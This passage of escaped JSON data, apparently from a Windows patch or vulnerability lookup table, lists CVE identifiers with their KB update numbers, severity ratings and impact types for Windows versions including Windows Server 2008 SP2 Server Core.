Execution\"},{\"cve\":\"CVE-2015-2458\",\"kb\":\"3072310\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2459\",\"kb\":\"3072310\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2460\",\"kb\":\"3072310\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2462\",\"kb\":\"3072310\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2463\",\"kb\":\"3072310\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2464\",\"kb\":\"3072310\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2502\",\"kb\":\"3087985\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2507\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2512\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2524\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2525\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2527\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2552\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2553\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2554\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-6100\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6101\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6103\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6104\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6132\",\"kb\":\"3108381\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6152\",\"kb\":\"3104002\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0006\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0007\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0015\",\"kb\":\"3110329\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0016\",\"kb\":\"3110329\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0040\",\"kb\":\"3126593\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0063\",\"kb\":\"3134814\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0099\",\"kb\":\"3139914\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0189\",\"kb\":\"3158991\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0199\",\"kb\":\"3160005\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3237\",\"kb\":\"3167679\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185319\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3197655\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7255\",\"kb\":\"3198234\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4012583\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0022\",\"kb\":\"3216916\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0101\",\"kb\":\"4011981\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0199\",\"kb\":\"4014793\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0213\",\"kb\":\"4018556\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0263\",\"kb\":\"4019204\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-11785\",\"kb\":\"4041671\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8462\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8464\",\"kb\":\"4021903\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8469\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8470\",\"kb\":\"4022887\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8471\",\"kb\":\"4022887\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8472\",\"kb\":\"4022887\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8473\",\"kb\":\"4022887\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8476\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8478\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8479\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8480\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8481\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8482\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8484\",\"kb\":\"4022887\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8485\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8488\",\"kb\":\"4022010\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8489\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8491\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8492\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8564\",\"kb\":\"4022748\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8678\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8680\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8681\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8682\",\"kb\":\"4039384\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8683\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8684\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8685\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8687\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8708\",\"kb\":\"4038874\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8710\",\"kb\":\"4039038\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0748\",\"kb\":\"4056615\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0749\",\"kb\":\"4056759\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0824\",\"kb\":\"4101477\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4056564\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4089229\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4089229\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0901\",\"kb\":\"4089229\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093478\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8120\",\"kb\":\"4131188\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4134651\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4463097\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4463097\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4458010\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4463097\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467706\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467706\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4134651\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480968\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0708\",\"kb\":\"4499149\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0808\",\"kb\":\"4489880\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1458\",\"kb\":\"4530695\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534303\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4537810\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4541506\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4550951\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556860\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556860\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4571730\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4571730\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003210\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003210\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003661\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5004955\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-36942\",\"kb\":\"5005090\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005563\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006736\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029318\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025271\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-29336\",\"kb\":\"5026408\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073697\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028222\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041850\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043135\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048710\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053888\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053888\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055609\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058449\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058449\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5061026\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063888\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063888\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)\":[{\"cve\":\"CVE-2008-0015\",\"kb\":\"973507\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3023\",\"kb\":\"975254\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3103\",\"kb\":\"975517\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3555\",\"kb\":\"980436\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3676\",\"kb\":\"980232\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0232\",\"kb\":\"977165\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-2549\",\"kb\":\"981957\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-2568\",\"kb\":\"2286198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3970\",\"kb\":\"2483185\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3972\",\"kb\":\"2489256\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-4398\",\"kb\":\"2393802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-4701\",\"kb\":\"2506212\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-0654\",\"kb\":\"2511455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-5046\",\"kb\":\"2660465\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-1300\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3660\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3906\",\"kb\":\"2901674\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4113\",\"kb\":\"3000061\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6321\",\"kb\":\"2992611\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6332\",\"kb\":\"3006226\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0004\",\"kb\":\"3021674\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0005\",\"kb\":\"3002657\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2015-0010\",\"kb\":\"3013455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-1701\",\"kb\":\"3045171\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1722\",\"kb\":\"3057839\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2426\",\"kb\":\"3079904\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2433\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2455\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2456\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2458\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2459\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2460\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2462\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2463\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2464\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2507\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2512\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2524\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2525\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2527\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2552\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2553\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2554\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-6100\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6101\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6103\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6104\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6132\",\"kb\":\"3108381\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0006\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0007\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0015\",\"kb\":\"3121918\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0016\",\"kb\":\"3121918\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0040\",\"kb\":\"3126041\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0099\",\"kb\":\"3139914\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0189\",\"kb\":\"3158991\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3237\",\"kb\":\"3167679\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-7255\",\"kb\":\"3198234\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4012583\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0022\",\"kb\":\"3216916\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0101\",\"kb\":\"4011981\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0199\",\"kb\":\"4014793\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0213\",\"kb\":\"4018556\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0263\",\"kb\":\"4019204\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-11785\",\"kb\":\"4041671\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11885\",\"kb\":\"4052303\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8462\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8469\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8470\",\"kb\":\"4022887\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8471\",\"kb\":\"4022887\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8472\",\"kb\":\"4022887\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8473\",\"kb\":\"4022887\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8476\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8478\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8479\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8480\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8481\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8482\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8484\",\"kb\":\"4022887\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8485\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8488\",\"kb\":\"4022010\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8489\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8491\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8492\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8564\",\"kb\":\"4022748\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8678\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8680\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8681\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8682\",\"kb\":\"4039384\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8683\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8684\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information 